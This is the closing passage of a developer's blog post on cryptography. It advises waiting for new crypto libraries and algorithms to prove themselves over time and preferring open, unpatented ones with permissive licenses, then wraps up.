<h2 id="heading-stay-away-from-new-crypto-libraries-and-algorithms">Stay away from new Crypto Libraries and Algorithms</h2>
<p>I've emphasized <strong>Time</strong> a lot because it's important to understand that, in the end, <strong>Time will show what's secure and what's not</strong>. Cryptographic libraries are no exception, like cryptographic algorithms. They both have to prove themselves in an equal manner. All the rules we decided on above require time. A library and an algorithm can't achieve the status of <strong>Trusted</strong>, <strong>Audited</strong>, or <strong>Standard</strong> overnight, it takes time. So, they have to surpass the high tides, winds, floods, or any other disaster of <strong>TIME</strong>. <strong>Scrypt</strong>, <strong>XChaCha20</strong> or <strong>Argon2</strong> all sound better than current standard cryptographic algorithms. But still, the only thing that is stopping them from becoming the next standard is TIME.</p>
<p>Though the algorithms that I mentioned above can still be trusted because they're popular and even used by some organizations like - NordPass, another password manager that uses XChaCha20 for encryption, I just wanna make a point: stay away from new algorithms and libraries. Let them spend some time in the crypto industry.</p>
<h2 id="heading-stay-with-less-restricted-license">Stay with less restricted LICENSE</h2>
<p>The simplest one, don't use closed-source libraries or algorithms. Stick with public crypto libraries and algorithms. Always check the LICENSE otherwise, it could lead to legal issues. Usually, a trusted library's and an algorithm's LICENSES are short and clear. Less restricted and open-source libraries and algorithms are often more battle-tested. As mentioned in <a target="_blank" href="https://www.schneier.com/crypto-gram/archives/1998/1015.html#cipherdesign">Memo to the Amateur Cipher Designer</a> by Bruce Schneier, if an algorithm is patented, no one will analyze it for you (unless you pay them). Why should they work for you for free?</p>
<p>Simply try to select an algorithm or a library that is not patented, is not closed-source, and has minimum restrictions in terms of usage.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>That's it. You did it. See, it doesn't have to be a tough one, at least for developers. Whatever we decided above is also applicable to other parts of software development. Then why does cryptography have to be different? Well, my main goal wasn't just showcasing the code that you can find on the internet just by searching "cryptography for developers". My main goal is to make you understand why we use them and how we should use them. And what are the points to keep in mind while doing some crypto stuff?</p>
<p>And of course, I didn't cover lots of stuff like digital signatures, certificates, mac, etc. Because it was almost the iceberg for the developers, not the complete one. Remember when somebody says something like this in cryptography: "Hash can't be dehashed, Theoretically" or anything theoretically, That simply means the cost of doing something like this can be very high, Practically.</p>
<p>This took me the longest to write out of all the blogs I ever wrote. I hope you enjoyed it or found it helpful. Open to any discussion and suggestion in the comment section. Thanks for reading or listening!</p>
<p>See ya!</p>
]]></content:encoded></item></channel></rss>